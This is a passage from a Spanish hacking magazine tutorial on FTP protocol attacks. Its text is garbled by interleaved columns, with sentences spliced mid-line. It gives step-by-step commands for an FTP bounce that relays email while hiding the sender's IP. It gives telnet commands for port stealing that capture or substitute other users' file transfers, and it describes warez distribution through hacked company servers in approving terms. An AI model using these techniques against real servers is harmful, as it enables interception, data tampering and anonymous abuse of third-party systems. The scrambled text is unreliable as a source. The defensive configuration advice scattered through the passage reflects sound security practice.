texto se establecerá cuando el servidor conecte al que contenga la secuencia de comandos puerto 25 de la IP 204.57.55.209 que, por SMTP que quiere ejecutar sobre el servidor supuesto, no es la nuestra (como debería ser smtp de hotpop (smtp.phreaker.net). si estuviéramos haciendo algo “legal”), si no la Llamará a este archivo, por ejemplo: del servidor SMTP de hotpop. ;-) ftpbouncemail.txt. Muestro aquí el contenido del archivo: La forma de enviar comandos RAW depende del cliente de FTP que utilicemos. Pongo 3 EHLO pyc ejemplos: AUTH PLAIN - Desde telnet (tal y como enseñé en el AKI5Y65sY24GcGhyZTYbZXIubmV0ADJIbJIvcHljAAB= anterior artículo), simplemente escribimos MAIL FROM: <pyc_lco@phreaker.net> el comando tal cual. :-) RCPT TO: <Zer0Cul@hotmail.com> - Desde FlashFXP, el clásico cliente de FTP DATA para Windows, con el shortcut Control-R Subject: ftp bounce nos aparecerá una ventanita sobre la que From: pyc_lco@phreaker.net podemos introducir directamente el comando To: Zer0Cul@hotmail.com RAW. - Desde un cliente FTP de consola en probando ftp bounce Linux/Unix, escribimos quote seguido del . comando RAW. En este caso sería: QUIT quote port 204,57,55,209,0,25 2.3.2. PyC sube el archivo creado al servidor FTP Una vez lanzado el comando PORT, ya sólo nos falta decirle al servidor que ese canal de A continuación, se conecta al servidor de FTP datos lo queremos para “bajar” un archivo, en ftp.lco.es, y una vez dentro va al directorio desde el servidor hasta la IP que especificamos de Upload, en el que tiene permisos de en el comando PORT (que debería ser la escritura (puede subir archivos). En ese nuestra, pero nosotros le hemos “engañado” directorio, sube el archivo ftpbouncemail.txt. dándole la IP del servidor SMTP). Si ahora hacemos: 2.3.3. PyC lanza los comandos RAW para el FTP bounce RETR ftpbouncemail.txt Para hacer esto, a PyC sólo le falta un dato, El contenido del archivo que creamos con los comandos SMTP será enviado al puerto 25 del PC PASO A PASO Nº 12 Página 19
  • 20. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) servidor SMTP. 2.3.4. Nuestro ”amigo” Zer0Cul lee su Desde el punto de vista del servidor SMTP, correo y... ¡Oh! ¡Sorpresa! Ö “alguien” habrá establecido una conexión TCP/IP con su puerto 25, por lo que interpretará que Cuando el dueño de la dirección todo lo que se envíe a través de esa conexión Zer0Cul@hotmail.com abra su cuenta de correo serán comandos SMTP. (usualmente, utilizando un cliente POP3), se Así que el escenario que tenemos es el encontrará con nuestro e-mail, en el cual no siguiente: aparecerá nuestra IP, si no la IP del servidor Una conexión TCP/IP establecida entre un FTP que utilizamos como bouncer. ;-D servidor SMTP y un servidor FTP donde: - El servidor FTP (que actúa como cliente en esta conexión) cree que se trata de un canal de datos de FTP. - El servidor SMTP (que actúa como servidor en esta conexión) cree que se trata de una sesión de comandos SMTP. Por tanto, al estar ambas máquinas “engañadas”, el servidor FTP no tendrá ningún problema en transmitir los comandos SMTP, y el servidor SMTP no tendrá ningún problema en interpretarlos y ejecutarlos. ;-) Si hemos repasado el número 8 de la revista, donde la serie RAW trataba sobre el protocolo SMTP, ya sabréis que lo que hacen los comandos del archivo ftpbouncemail.txt es precisamente enviar un e-mail a la dirección Zer0Cul@hotmail.com. En la imagen vemos el e-mail que ha recibido Zer0Cul, mostrando las cabeceras completas. 2.4. EL MISTERIO DEL FXP DESVELADO El FXP es una de esas cosas que muchos usamos pero pocos sabemos cómo funciona, ¡y eso que es realmente sencillo! En realidad la idea del FXP es muy parecida a la del FTP Bounce. Si ahora mismo estás pensando: “pues no serán tantos los que usan el FXP si yo ni siquiera se lo que es...” no te preocupes, que ahora mismo te explico qué es y para qué sirve. :-) Antes de empezar con este tema, he de dejar clara una cosa, para evitar problemas que sin duda podrían surgir. Voy a hablar a continuación de un tema oscuro, sobre el que los implicados siempre han guardado un celoso silencio, así que quiero dejar claro que mi intención no es aquí la de desvelar ningún secreto, y menos Página 20 PC PASO A PASO Nº 12
  • 21. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) aún hacer ningún tipo de publicidad, si no que Pero no confundáis esto con las famosas redes podéis considerarme simplemente como un P2P (E-Mule, y compañía), ya que no tiene criminólogo que habla sobre los casos que ha nada que ver. La Scene es algo perfectamente estudiado. Por hablar de ellos no está incitando organizado, mientras que las redes P2P son un a la gente a que forme parte de ninguna completo caos. Os muestro algunas diferencias: “mafia”, ni tampoco está desvelando secretos internos de esa “mafia” (entre otras cosas, - Unicidad: Cualquiera puede coger el disco porque yo no pertenezco a ella). Simplemente de Bisbal que se compró ayer y pasarlo a MP3 hablo de lo que he podido observar desde y luego distribuirlo a través de E-Mule. En fuera, y sin contar nunca nada que no pudiera cambio, esto es imposible en la Scene, ya que conocer cualquiera que investigase el tema por está todo regulado de forma que nadie pueda su cuenta. aportar algo si otra persona aportó ya ese mismo “producto”. Cada producto que se aporta 2.4.1. Un secreto a voces a la Scene recibe el nombre de release. ¿Sabéis lo que es la Scene del Warez? - Calidad: Lo que aportes a la Scene tiene que Los que no lo sepáis, vais a encontrar aquí una pasar unos estrictos controles de calidad información realmente interesante, así que (resolución, formato, información estad bien atentos, porque os voy a hablar complementaria, fidelidad al original, ...). En sobre un secreto a voces. :-) cambio, en las redes P2P te puedes encontrar Y los que lo sepáis, podéis estar tranquilos, ya auténticas basuras, como: películas mal ripeadas, que no voy a desvelar ningún secreto que no música con chasquidos y ruidos, discos pueda saber cualquiera con dos dedos de frente i n c o m p l e t o s , fo r m a t o s i n c ó m o d o s o que dedique 5 minutos a investigar sobre el incompatibles, canciones sin títulos, etc. tema por su cuenta. :-) - Veracidad: En las redes P2P puedes encontrar Imaginad que trabajáis en una importante los famosos fakes, que son cosas que no son distribuidora discográfica que recibe las últimas lo que dicen ser. Por ejemplo, te tiras un día novedades del mercado antes de que éstas entero bajando una película para luego descubrir estén a la venta. Un buen día conocéis a otro que es otra totalmente diferente bajo un título tío que por su trabajo tiene acceso a las últimas que no le corresponde, o puedes encontrar películas del mercado. Quedáis entonces de supuestas aplicaciones que resultan ser virus acuerdo en intercambiaros discos de música a o troyanos, etc, etc. En la Scene todo esta cambio de películas. Por supuesto, lo hacéis a regulado para garantizar la autenticidad, además través de Internet, por lo que tenéis que ripear de conocer la “identidad” del que ha hecho la el audio (MP3) y el vídeo (DivX). Pero pronto release. Para ello, cualquier release ha de estar te das cuenta de que no das a basto, ya que acompañada de un archivo de información tu compañero quiere más y más, y tu no eres acerca del producto y de la persona o grupo capaz de ripear todos los discos que llegan que la ha aportado. Por supuesto, nunca diariamente a tu tienda. Por suerte, pronto seutilizan nombres reales. ;-) conoces a un chaval que resulta ser coleccionista compulsivo, y se compra todas las novedades Muchas de las releases que circulan por las que salen al mercado. Así que llegas a un redes P2P salen precisamente de la Scene, así acuerdo con él para repartiros el trabajo a la que en cierto modo podríamos considerar a las hora de ripear los discos, para que así no se redes P2P como el escalón más bajo, donde haga el mismo trabajo dos veces. llegan sólo “las sobras” de lo que se produce en la Scene (me da a mi que me voy a buscar Imaginaos ahora esto mismo, pero a una escala más de un enemigo con este artículo... 0:-) mucho mayor, con miles de personas de todo el planeta puestas de acuerdo para ripear Hay quien confunde todo este “pirateo absolutamente todo, pero sin que se haga el organizado” con mafias como la del famoso mismo trabajo dos veces. Pues eso es Top-Manta, pero nada tienen que ver por un precisamente la Scene. :-) sencillo motivo: la finalidad. La finalidad de la PC PASO A PASO Nº 12 Página 21
  • 22. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) Scene no es el lucro, si no el crear una basta de distribuir a través de los servidores, pero... red para compartir productos con una garantía trabajando desde casa. ;-) de calidad para el disfrute personal. En cambio, en el Top-Manta la calidad no es precisamente Esta gente, que se denominan Couriers, suelen una finalidad, si no una traba que dificulta disponer en su casa de conexiones normales producir más en menos tiempo. (módem, adsl, cable...) por lo que de ninguna manera podrían transferir los datos de un 2.4.2. El mecanismo de distribución servidor a otro directamente a través de su conexión casera. En lugar de eso, lo que hacen ¿Y por qué os cuento todo esto ahora? Pues es dar una serie de instrucciones a los servidores ahora mismo encajo todas las piezas. :-) para que ellos mismos se transfieran los datos Está claro que el mecanismo de distribución entre sí, sin que tenga que circular nada a de la Scene no puede ser el mismo que el de través del cuello de botella que supondría el las redes P2P, ya que este mecanismo es caótico modesto ancho de banda casero del Courier. en sí mismo. No hay ningún tipo de centralización, si no que cada uno va pasando El protocolo utilizado para que los servidores cualquier cosa a cualquiera, y no se puede se transfieran datos entre sí es precisamente establecer ningún tipo de control sobre lo que el FXP (File eXchange Protocol). circula. 2.4.3. Las boards de FXP y los Dumps En el caso de la Scene, donde está perfectamente regulado lo que puede y no En realidad, la vida de los miembros de la Scene puede circular, es necesario centralizar de no es precisamente un camino de rosas. Hay alguna manera la distribución. Para ello hay que realizar un trabajo constante simplemente una serie de servidores distribuidos por para permanecer en ella, pero con eso no basta, todo el planeta que son, por así decirlo, ya que por el mero hecho de pertenecer a la certificados por la Scene. Por tanto, esos Scene no tienes acceso a todo, si no que tienes servidores garantizan que todo su contenido que ir trabajándote por tu cuenta el acceso a es únicamente producto de la Scene, con las los distintos servidores: cuanto más trabajas, ventajas que eso conlleva (unicidad, calidad, más consigues. veracidad...). Por supuesto, a estos servidores sólo pueden acceder los miembros de la Por eso, surgió un movimiento paralelo a la Scene. :-( Scene, que es el de las boards de FXP. Una board consiste en un grupo de gente, Teniendo en cuenta la cantidad de gente que típicamente miembros de la Scene, que se pertenece a la Scene, esos servidores tienen dedican a intercambiar todo aquello a lo que que tener un gran ancho de banda (del orden cada uno tiene acceso, sin los sufrimientos que de los 100Mbps típicamente), pero aún así conlleva el conseguir esto mismo a través de nunca es suficiente, por lo que es necesario los mecanismos clásicos de la Scene. Para ello, distribuir todo utilizando un gran número de se montan sus propios servidores para realizar servidores. el intercambio. Estos servidores suelen ser menos potentes (menor ancho de banda, menor Ahora bien... ¿cómo se hace esta distribución capacidad de disco, menos fiables, etc), entre todos los servidores? Estos servidores pero se ajustan a sus necesidades, ya que suelen pertenecer a grandes organizaciones e también el número de usuarios es mucho instituciones, por lo que no puede haber menor. permanentemente (la Scene no descansa en las 24 horas del día) un miembro de la Scene Como los miembros de las boards no suelen al teclado de cada servidor moviendo cosas de disponer de las infraestructuras de la Scene un lado a otro. (acceso a grandes servidores, contactos, etc), no les queda más remedio que apañárselas por La solución consiste en tener una serie de otros medios... y es ahí donde aparecen los miembros cuya finalidad es precisamente la Dumps. Página 22 PC PASO A PASO Nº 12
  • 23. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) Los servidores que se utilizan en las boards Supongamos que tenemos dos servidores: para el intercambio y distribución no pertenecen LlenoServer y VacioServer. El servidor a un miembro de la board que lo haya cedido LlenoServer está lleno de cosas interesantes, amablemente, si no que suelen ser servidores y el servidor VacioServer está vacío por lo que, de empresas o instituciones que han sido por un simple principio de ósmosis, habrá de “hackeados” por los miembros de la board. ser rellenado raudamente por un simpático Estos servidores hackeados para el fin de ser Courier llamado PyC. Vamos a ver paso a paso utilizados como medio de distribución son los cómo lo consigue. llamados Dumps. 2.4.4.1. PyC entra en LlenoServer Aquí es donde entra precisamente el tema de la “fiabilidad” que mencioné antes, ya que, En primer lugar, PyC entrará en el primer servidor dependiendo de la calidad del creador de los por el mecanismo clásico de login en FTP (ya Dumps, será más o menos fácil que el sabes: USER y PASS...) administrador legítimo de la máquina se de 2.4.4.2. PyC entra en VacioServer cuenta del hackeo y cierre el Dump. Por eso, la vida de los Dumps en muchos casos no es Si somos unos valientes y lo estamos haciendo muy larga. mediante Telnet, tendremos que utilizar otra ventana de Telnet para hacer esta segunda Claro que... también existen otro tipo de conexión. administradores... Imaginaos que un buen día descubrís que en vuestro disco duro han El software preparado para hacer FXP (como aparecido misteriosamente 100 películas de el archiconocido FlashFXP) permite realizar las estreno en DivX, 400 discos en MP3, y los 2 conexiones en una sola aplicación. últimos juegos del mercado. Al día siguiente, el contenido ha sido renovado, apareciendo 2.4.4.3. PyC entra en los directorios adecuados cada día las últimas novedades en el disco duro de tu ordenador... ¡sin que tú muevas un PyC tendrá que situarse dentro del directorio dedo! ¿¿Es un sueño?? ¡Pues no! Es de LlenoServer donde están los archivos que precisamente lo que se encuentran los quiere transferir al otro servidor, y dentro de administradores de sistemas que descubren VacioServer tendrá que situarse en el directorio que les han montado un Dump en su servidor. que tenga permisos de Upload. Por eso, algunos administradores consideran 2.4.4.4. PyC le dice a LlenoServer que un chollo el que utilicen su disco duro como quiere establecer un canal de datos medio de almacenaje para gran cantidad de productos que, sin duda, pueden interesar al Aquí empieza lo interesante. El truco del FXP propio administrador. En caso de que haya consiste en conseguir establecer un canal de algún problema... los delincuentes son los que datos entre los dos servidores, por lo que el primer paso es decirle al servidor que contiene han creado el Dump, y él es sólo una pobre los archivos que queremos establecer un canal víctima. :-) de datos. 2.4.4. C o m a n d o s R A W p a r a F X P Lo que queremos saber es qué puerto nos abrirá LlenoServer para el canal de datos, para luego Antes de explicaros la secuencia de comandos decírselo a VacioServer, así que el comando RAW que se utiliza para hacer un FXP, os que ejecutamos en LlenoServer será propongo como ejercicio que tratéis de pensarlo simplemente: vosotros mismos. Después, podéis comprobar si habéis acertado leyendo lo que os explico a PASV continuación. :-) PC PASO A PASO Nº 12 Página 23
  • 24. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) A lo cual el servidor nos responderá con una IP (la suya) y un número de puerto, que es precisamente lo que queremos. :-) 227 Entering Passive Mode (130,206,1,5,190,189) 2.4.4.5. PyC le dice a VacioServer que quiere establecer un canal de datos Ahora el que decide cómo se creará el canal no es el servidor, si no tú. Por tanto, en este caso no puedes establecer el canal mediante modo pasivo. Lo que tienes que hacer es establecer un canal utilizando la IP de LlenoServer y el puerto que éste nos devolvió 2.5. PORT STEALING tras ejecutar el comando PASV. Esta técnica es similar a las que expliqué en el El comando sería, por tanto: artículo de DCC, y que titulaba como DCC Send Hijacking y DCC Chat PORT 130,206,1,5,190,189 Hijacking. 2.4.4.6. Si somos observadores, nos habremos dado PyC le dice a VacioServer cuenta de un detalle interesante, y es que, para que quiere utilizar el canal de datos para que funcione todo lo que he explicado hasta subir un archivo ahora, el servidor de FTP debe permitir que un canal de datos sea utilizado por una IP distinta Supongamos que el archivo que queremos a la del usuario que estableció ese canal. Es mover se llama lco.nfo. Bastará con que le decir, al hacer por ejemplo un FXP, la IP desde la cual se establece el canal de datos es la del digamos a VacioServer: courier (PyC), mientras que la IP que efectivamente se conecta al canal de datos es STOR lco.nfo la IP del otro servidor. 2.4.4.7. PyC le dice a LlenoServer Por supuesto, no todos los servidores permiten que quiere utilizar el canal de datos para esto. De hecho, suele ser un parámetro de configuración en cualquier software de servidor bajar un archivo FTP. Si permites que esto ocurra, estarás facilitando una gran variedad de ataques (FTP Aquí, al contrario, haremos: Bounce, Port Stealing, ...). En cambio, si no lo permites, no se podrá hacer FXP a tu servidor. RETR lco.nfo Por tanto, a la hora de configurar un servidor de FTP, cuando te encuentres con este parámetro, sólo has de plantearte una pregunta: y... ¡hop! El archivo comienza a FXPearse :-) ¿Quiero que mi servidor pueda hacer FXP? Si la respuesta es SI, entonces configura tu También podríamos hacer lo mismo invirtiendo servidor para que permita conexiones con IPs el sentido del canal de datos (desde VacioServer diferentes. hacia LlenoServer), así que os propongo como ejercicio que penséis cómo sería. Si la respuesta es NO, entonces cierra esa posibilidad. Página 24 PC PASO A PASO Nº 12
  • 25. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) En caso de que nos encontremos con un de FTP, puede dedicarse a hacer un reload servidor que SI permita esto, tendremos abiertas para ver el contenido del directorio, o bien las puertas para el Port Stealing. Claro que... dedicarse a bajar todas las fotos de pollas que, en realidad la cosa es mucho peor, ya que lo supuestamente, ocuparán pocos KBs, por lo que nunca se podrá impedir desde el servidor que se establecerán varios canales de datos en es que se haga un Port Stealing contra el poco tiempo (este segundo método será, sin cliente, y no contra el servidor. Pero... mejor duda, menos sospechoso por si acaso el admin no nos precipitemos. Vamos a ver revisa los logs del servidor). detenidamente cuáles son las 2 formas de hacer un Port Stealing, o Hijacking, en FTP. El objetivo de ejecutar muchos PASV es precisamente el mismo que el que explicaba 2.5.1. Port Stealing contra el servidor en el artículo sobre DCC: averiguar qué puertos nos ofrece el servidor para transferir los datos. Supongamos que nos encontramos con un En el mejor de los casos, PyC habrá encontrado servidor que permite hacer FXP. Por tanto, algún tipo de “patrón”: que los puertos que permite que se conecte a un canal de datos ofrece el servidor en cada canal de datos pasivo una IP diferente a la del usuario que lo son consecutivos, que se encuentran dentro de estableció. En ese caso... ¿qué nos impide un rango relativamente pequeño, o bien que teóricamente conectarnos al canal de datos son totalmente aleatorios. que establezca otro usuario? Pues, teóricamente, nada. :-) Lo más habitual es que los puertos sean totalmente aleatorios, por lo que normalmente Ahora bien, en la práctica, la cosa es bastante será realmente complicado hacer un Port más complicada. Pero vamos a verlo con un Stealing contra el servidor, ya que habría mas ejemplo. de 60.000 puertos a muestrear. En cambio, si se ha encontrado algún patrón en los puertos En esta ocasión, nuestro héroe PyC trabaja que ofrece el servidor por cada comando PASV, como espía, y su misión es desbaratar los entonces podremos hacer un muestreo de esos planes de la oscura nación de Pollilandia puertos exactamente igual que hacíamos con (www.pollilandia.cjb.net), que pretende dominar el DCC. nuestra nación. Por suerte, PyC conoce la IP del servidor Supongamos que PyC ha encontrado esta serie principal de los servicios de inteligencia de de respuestas ante cada comando PASV que Pollilandia, y además tiene el login y el password ha ejecutado: de FTP de un agente de los Pollos (consiguió todo esto gracias a un DCC Chat Hijacking y 227 Entering Passive Mode (130,206,1,5,190,172) 227 Entering Passive Mode (130,206,1,5,190,175) un poco de ingeniería social). Por desgracia, 227 Entering Passive Mode (130,206,1,5,190,177) este agente no tiene acceso a los documentos 227 Entering Passive Mode (130,206,1,5,190,183) importantes, si no simplemente a una cuenta 227 Entering Passive Mode (130,206,1,5,190,184) personal en la que se ha dedicado a almacenar fotos de pollas desnudas (ejem... espero que Como vemos, los puertos son casi consecutivos. deis el significado correcto a esa palabra...). Después de un comando PASV, el puerto que Pero esto será suficiente para nuestro abrirá en el próximo no distará más de 10 con protagonista. :-) respecto al anterior. Por cada PASV que ejecutáramos, bastaría con muestrear los 10 L puertos siguientes para intentar capturar el o primero que hace PyC es conectarse al s próximo canal de datos que intentase establecer ervidor FTP utilizando la cuenta del agente. U otro usuario. na vez dentro, tiene que conseguir lanzar un m ontón de peticiones para establecer un canal d Supongamos que en el servidor de los Pollos e datos mediante modo pasivo. Es decir, ha d está conectado, a la vez que PyC, el temible e lanzar un montón de comandos PASV. Si n General PolloDios, líder de los Pollos, con acceso o está por Telnet, si no utilizando un cliente a todos los documentos secretos. Si se PC PASO A PASO Nº 12 Página 25
  • 26. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) encontrase bajando en esos momentos un tiene que leer el aviso y decidir si lo acepta o documento importante, ésta sería la secuencia no. Este tiempo puede ser incluso de varios de comandos que ejecutaría su cliente de FTP: segundos, por lo que hay un tiempo realmente grande para colarse antes de que el usuario PASV legítimo acepte la petición. 227 Entering Passive Mode (130,206,1,5,190,186) En cambio, en el caso del FTP, el tiempo que RETR perfido.plan transcurre entre un comando PASV y el siguiente comando (LIST, NLST, RETR, o Pero como nuestro protagonista PyC conocía STOR) es realmente pequeño. A no ser que ya el patrón de los puertos que abre el servidor sepamos el número exacto de puerto y hagamos de los Pollos, estaba muestreando el puerto un escaneo masivo a ese puerto, será 48826 (os propongo como ejercicio que relativamente difícil que consigamos colarnos comprobéis que este es el puerto que ha abierto antes. el servidor, según la secuencia de comandos que os acabo de mostrar), por lo que consiguió - En tercer lugar, como acabo de decir, después establecer él la conexión con el canal de datos, de un comando PASV hay 4 posibles comandos: y colarse en lugar del General PolloDios. LIST, NLST, RETR, y STOR. Esto puede suponer un problema, ya que cuando nosotros Automáticamente, en el cliente de Telnet de capturamos un canal de datos, no tenemos ni PyC aparecieron los contenidos del pérfido plan idea de para qué va a ser utilizado. de los Pollos. Ahora ya solo faltaba En los dos primeros casos: LIST, y NLST, no desbaratarlo... habrá mucho problema, ya que bastará con que hagamos un Telnet al puerto adecuado y Ha quedado muy bonito, si, pero... me temo recibiremos el listado de archivos. que tenemos que ser un poco más realistas. ;-) En el tercer caso, con el comando RETR, en cambio, recibiremos una ristra de bytes, y Los problemas del Port Stealing tendremos que ser un poco astutos para saber de qué demonios se trata. Como ya comenté Existen básicamente 4 problemas que hacen en el artículo sobre DCC, cada tipo de archivo que todo esto no sea tan fácil, y son los tiene una cabecera diferente, por lo que podéis siguientes: llegar a saber de qué tipo de archivo se trata. Lo que ya no podréis saber es el nombre del - En primer lugar, ya he comentado que la archivo, pero eso generalmente no suele ser mayoría de los servidores de FTP no siguen un dato de vital importancia. ningún patrón a la hora de ofrecer puertos para los canales pasivos, si no que ofrecen Pero... ¿y si os quedáis esperando como bobos puertos totalmente aleatorios. Esto hace a que empiecen a llegar los datos y no llega que sea prácticamente imposible hacer un nada de nada? Entonces probablemente es que muestreo de puertos efectivo, a no ser que se ese canal de datos era para un STOR, por lo hiciese de forma distribuida y además se tuviese que en ese caso deberías ser TU el que enviase algo de suerte. algo a través de ese canal (ya veremos esto en un ejemplo más adelante). No hay forma de - En segundo lugar, todo esto era mucho más saber si un canal de datos se utilizará para sencillo con DCC por un factor que ya comenté recibir o para enviar datos, por lo que una en ese artículo: el factor humano. El tiempo buena idea sería hacer un programa que tratase que transcurre entre que un usuario de IRC de recibir datos, y si no recibiese nada en un recibe una petición de DCC (la típica ventana margen de tiempo, comenzase entonces a que te pregunta si decides aceptar el envío de enviarlos él. un archivo) y entre que la acepta y comienza la transferencia, es un tiempo que no depende - Por último, tenemos un problema que sí que de una máquina, si no de una persona que había también con el DCC, y es que el usuario Página 26 PC PASO A PASO Nº 12
  • 27. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) legítimo no podrá conectarse con el canal Una vez que PyC estudió con detenimiento los de datos que acaba de establecer, por lo detalles del plan de los Pollos, se dio cuenta de que siempre resultará bastante sospechoso. que parte del plan consistía en que el General PolloDios enviase al servidor un boletín diario 2.5.2. Port Stealing contra el cliente de órdenes que debían bajar todos sus agentes para ejecutarlas. Así que PyC decidió capturar En este segundo caso, al menos según mi el próximo boletín de órdenes de PolloDios, experiencia, la probabilidad de éxito es mucho para modificarlo a su conveniencia. más alta. Y es que, si bien los servidores de FTP suelen estar bien programados para evitar Gracias a las increíbles habilidades de ingeniería este tipo de ataques, los programadores de social de PyC, éste descubrió que el General clientes de FTP parece que no asistieron a PolloDios era el fan número uno de Jackie- clase ese día, y muchos son realmente inseguros Chan, por lo que montó un servidor FTP con en este sentido. todas sus pelis en DivX, y consiguió abrir en él una cuenta a PolloDios. Tanto este tipo de ataque, como el FTP Bounce, podrían ser evitados si tan sólo los servidores Ahora su esperanza era que PolloDios no utilizase de FTP estuviesen configurados para forzar a modo pasivo, pero... en cuanto se conectó que sus usuarios utilizasen siempre modo PolloDios PyC comprobó desconsolado que, en efecto, utilizaba modo pasivo. :-( pasivo. De hecho, el RFC 2577, el cual mencioné en el artículo anterior, recomienda ¡Pero eso no era problema! PyC recordó que expresamente el uso del modo pasivo. es un problema habitual el de los servidores de Pero este no es el motivo por el que digo que FTP con modo pasivo cuando se encuentran muchos clientes de FTP no están “bien detrás de un firewall, sobre todo si el servidor programados”. no se aloja en el puerto 21, que es el estándar de FTP, por lo que decidió informar a todos los El motivo es simplemente que utilizan puertos usuarios de su FTP de que el modo pasivo no consecutivos para el FTP activo. Ahora lo funcionaría en su servidor, debido a que éste veremos más detenidamente. se encontraba detrás de un firewall. Así que ahora todos los usuarios, incluido PolloDios, A pesar de ser una técnica más efectiva que estaban forzados a utilizar modo activo. ]:-) la del hijacknig contra el servidor, tiene un requisito que la anterior no tenía, y es que Lo único que tenía que hacer ahora PyC era aquí hay que conocer al usuario cuyas fijarse atentamente en los logs de pantalla conexiones queremos capturar. Si recordamos de su servidor. Su objetivo era conseguir que el artículo sobre DCC, estas son las 3 variables PolloDios estableciese muchos canales de que debemos conocer para tener éxito en un datos, para poder buscar el patrón que seguían hijacking: los puertos que utilizaba en los comandos PORT, por lo que partió las pelis de Jackie- - La IP de la “víctima”. Chan en archivos RAR de 1MB, para que tuviese que estar constantemente estableciendo - El puerto que utilizará la “víctima” para su canales diferentes. Esta fue la secuencia de canal de datos. comandos PORT que ejecutó PolloDios en el servidor de PyC: - El instante en el que la “víctima” abrirá ese canal de datos. PORT 22,69,22,69,19,236 PORT 22,69,22,69,19,237 Existe una forma idónea para conseguir PORT 22,69,22,69,19,239 simultáneamente los 3 datos que necesitamos, PORT 22,69,22,69,19,242 y consiste simplemente en abrir una cuenta a PORT 22,69,22,69,19,243 la víctima en nuestro propio servidor. Vamos a verlo continuando con el ejemplo. ¡Vaya! Esto si que son puertos consecutivos. :-D PC PASO A PASO Nº 12 Página 27
  • 28. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) Y es que resulta que muchos clientes de FTP general de los Pollos: N-22, E-69. Llamó al utilizan puertos consecutivos en los comandos nuevo archivo: ordenes.pyc. PORT. Pero... ¿por qué a veces hay un pequeño salto?... ¿no será que PolloDios se Como PolloDios vio que la transferencia del encuentra al mismo tiempo conectado a otro boletín había fallado (ya que la había capturado servidor de FTP con el mismo cliente, y éste PyC, aunque él desconocía que ese era el está alternando los puertos entre uno y otro? motivo), decidió reintentarlo, pero esta vez A ver qué pasa si muestreamos ahora el puerto utilizando modo pasivo, para ver si ahí se 5108... (que podéis comprobar que encontraba el problema. Así que ejecutó en el sería el siguiente puerto al último que utilizó servidor de los Pollos: PolloDios). PASV Re s u l t a q u e , d e s p u é s d e e j e c u t a r : 227 Entering Passive Mode (130,206,1,5,190,189) STOR ordenes.pollodios PORT 22,69,22,69,19,243 Pero lo que no sabía es que PyC ya estaba en el servidor de PyC, el cliente de FTP de preparado, y había lanzado inmediatamente un PolloDios ejecutó: Port Stealing contra el servidor de los Pollos, haciendo: PORT 22,69,22,69,19,244 STOR ordenes.pollodios telnet 130.206.1.5 48829 < ordenes.pyc en el servidor de los Pollos. Por lo que el boletín que aparición en el disco Pero PyC ya estaba preparado, y había duro del servidor de los Pollos no fue el de ejecutado previamente: PolloDios, si no el de PyC, que apareció no con el nombre que le había dado PyC (ordenes.pyc), telnet 22.69.22.69 5108 > ordenes.pollodios si no con el nombre que había especificado PolloDios en su comando STOR, es decir: Por lo que, en el momento en que PolloDios ordenes.pollodios. ejecutó el comando: Inmediatamente, los agentes Pollo comenzaron STOR ordenes.pollodios a conectarse al servidor para bajar el último boletín de órdenes y, sin pensárselo dos veces, El cliente de Telnet de PyC se coló antes que lanzaron la tortilla atómica sobre el cuartel el servidor FTP de los Pollos, consiguiendo dos general de los Pollos, tal y como indicaban cosas: sus órdenes, terminando así para siempre con la amenaza de los temibles Pollos - Evitar que PolloDios enviase el boletín al colonialistas. ;-D servidor. 2.5.3. Resumen del Port Stealing - Ver el contenido del boletín. E s t e e ra e l c o n t e n i d o d e l a r c h i v o Quizá no han quedado del todo claros los efectos ordenes.pollodios: de los diversos tipos de Port Stealing, ya que son 4 diferentes: ORDEN: Disparar tortilla atómica T-22 COORDENADAS: N-35, E-87 - Contra el servidor, y contra un comando RETR, LIST, o NLST Vaya, vaya... así que quería lanzarnos una tortilla atómica... pues les pagaremos con su - Contra el servidor, y contra un comando propia moneda. ;-) STOR PyC modificó ligeramente el boletín, cambiando - Contra el cliente, y contra un comando RETR, las coordenadas para que fuesen las del cuartel LIST, o NLST Página 28 PC PASO A PASO Nº 12
  • 29. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - Contra el cliente, y contra un comando restringir el número de puertos para FTP a un STOR intervalo limitado, ya que entonces estaríamos favoreciendo enormemente los ataques de Port Resumo en una tabla lo que se puede conseguir Stealing contra el servidor. con cada uno de los 4: Entonces, ¿cuál es la solución? Como ya mencioné en el artículo anterior, el protocolo FTP ha sido considerado siempre como uno de los p r i n c i p a l e s protocolos de Internet, desde luego, mucho más importante que DCC. Por tanto, los f i r e wa l l s s u e l e n implementar un mecanismo especial que permite el c o r r e c t o 2.6. APERTURA DE PUERTOS EN funcionamiento del FTP con puertos aleatorios. FIREWALLS Cualquier firewall decente será capaz de analizar los paquetes que circulen a través de él que ¿Os habéis fijado cuando he comentado que tengan como puerto de origen el 21, que es el algunos servidores FTP no funcionan en modo estándar de FTP. Cuando detecte el firewall que pasivo si estás detrás de un firewall? ese paquete es una respuesta a un comando Seguramente os habrá extrañado el detalle PASV, éste buscará automáticamente dentro que he mencionado de que esto ocurre cuando del mensaje de respuesta el número de puerto el servidor no se aloja en el puerto 21. Ahora que se ha devuelto. Automáticamente, el firewall mismo os explico a qué se debe esto, porque abrirá dinámicamente ese puerto de forma precisamente con esto está relacionada la temporal, hasta que se establezca una conexión técnica que explicaré a continuación. con el mismo. 2.6.1. Servidores de FTP detrás de un Probablemente os habréis encontrado alguna firewall vez con algún servidor de FTP que no funciona en modo pasivo (probablemente algún Dump). Si sois un poco avispados, se os habrá pasado Lo más probable es que ese servidor no se por la cabeza una idea, sobre todo si estudiasteis encuentre en el puerto 21 (como se suele hacer con detenimiento mi artículo sobre DCC. Y es con los Dumps, para que sean más difícilmente que en ese artículo explicaba que, si estás detectables) y que tenga precisamente este detrás 